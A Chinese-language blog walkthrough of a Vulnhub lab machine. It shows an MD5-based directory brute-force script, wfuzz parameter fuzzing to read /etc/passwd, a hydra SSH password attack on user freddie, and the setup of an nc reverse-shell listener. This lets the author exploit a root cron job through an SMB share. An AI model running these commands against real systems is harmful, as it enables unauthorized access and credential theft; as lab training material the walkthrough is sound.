由于在做靶机的时候,涉及到的渗透思路是非常的广泛,所以在写文章的时候都是挑重点来写,尽量的不饶弯路。具体有不不懂都的可以直接在文章下评论或者私信博主
如果不会导入Vulnhub靶机和配置网络环境的话,请点我直达发车文章!
本文靶机下载连接-戳我直接下载!
使用nmap工具对靶机做基本的信息收集nmap -sS -sV -A -T4 -p- 靶机IP
如下所示
可以看到,开放的端口还是比较的多
发现了几个常用端口服务22/ssh 80/http
22/ssh
ssh可以直接pass掉了,这个版本基本上没有什么可利用的漏洞了,一般获取到了用户信息才使用这个
80/http
基本上大部分的漏洞都是存在于web服务上,我们访问看看,如下图。发现有一个atlas
,我们点击一下
打开发现是一副图,根据上面的提示,我们看到这个图片里面有一个地图
有一个m
和d
字母,再加上5个x
那么这个靶机的线索可能就会跟md5
有关
那么我们就试一下把目录字典的每一个目录名用md5加密之后再爆破
我这里自己写一个python
脚本用于爆目录
import hashlib
import requests
#打开字典文件
with open("/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt", "r") as f:
#这里是把读取到的字符串分解成数组
all_list = f.read().split("\n")
#这里是遍历数组
for i in all_list:
#这里是每个目录加密成md5(一定要拼接一个\n要不然爆不出来)
web_file = hashlib.md5((i+"\n").encode()).hexdigest() + ".php"
#这里就用get请求开始跑了,这里需要把ip改为自己的靶机IP哦
rp = requests.get("http://192.168.2.130/" + web_file)
print(web_file + "->" + str(rp.status_code))
#当返回结果不为404的时候就跳出循环并且打印
if int(rp.status_code) != 404:
print("(" + i + ") md5 is:/" + web_file)
break
过了一段时间……,如下,发现跑出来了,它的完整名称应该是ih\n
,只有这样才能得到对应的md5值
我们现在访问一下这个爆出来的php文件,如下所示,一篇空白
那么我们就用wfuzz
爆一下参数吧
如下图所示,爆破出来了一个purpose
参数
wfuzz -c -u "http://192.168.2.130/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 0
我们通过给purpose
参数传/etc/passwd
来看看当前靶机的用户情况
如下图,发现了一个freddie
用户,那么接下来就有操作空间了
由于是一步一步来的,原先python生成的md5值没有保存起来
我们这里用下面的命令再生成一下md5的字典
for i in $(cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt); do echo $i | md5sum|awk '{print $1}' >> weblist.txt ; done
用生成的字典和hydra
跑一下freddie
的密码
hydra -l freddie -P weblist.txt -t 32 -s 22 192.168.2.130 ssh
如下,密码跑出来了61a4e3e60c063d1e472dd780f64e6cad
由于sudo -l
和suid
都没有找到什么好利用的
我们用pspy64
看看有木有什么定时任务
用scp
把这个文件传到freddie的家目录下面去(GitHub直达下载链接,如果不能下的话,在我博客资源里面有免费提供)
用chmod +x pspy64
给这个文件一个执行权限,然后./pspy64
运行就好了
扫描结果比较多的多,往下面多扒拉一下,就会发现每隔一段时间就以root
权限运行/smbshare/目录下的所有文件,那么就可以开始上操作了
我们用ss -lulnp
看一下,发现了有一个445的smb
端口,之前用nmap没扫到,那么我们就可以直接操作了
我们用下面的命令生成一个shell,方便我们等下上传,并且在kali里面打开一个另外一个终端,用nc -lvvp 5555
命令监听
发现了一个grotesque
共享目录,用smbclient -L //127.0.0.1/
看看目录(密码随便输就ok了)
我们把-L
去掉,进入命令环境,并且用put
指令上传一下这个shell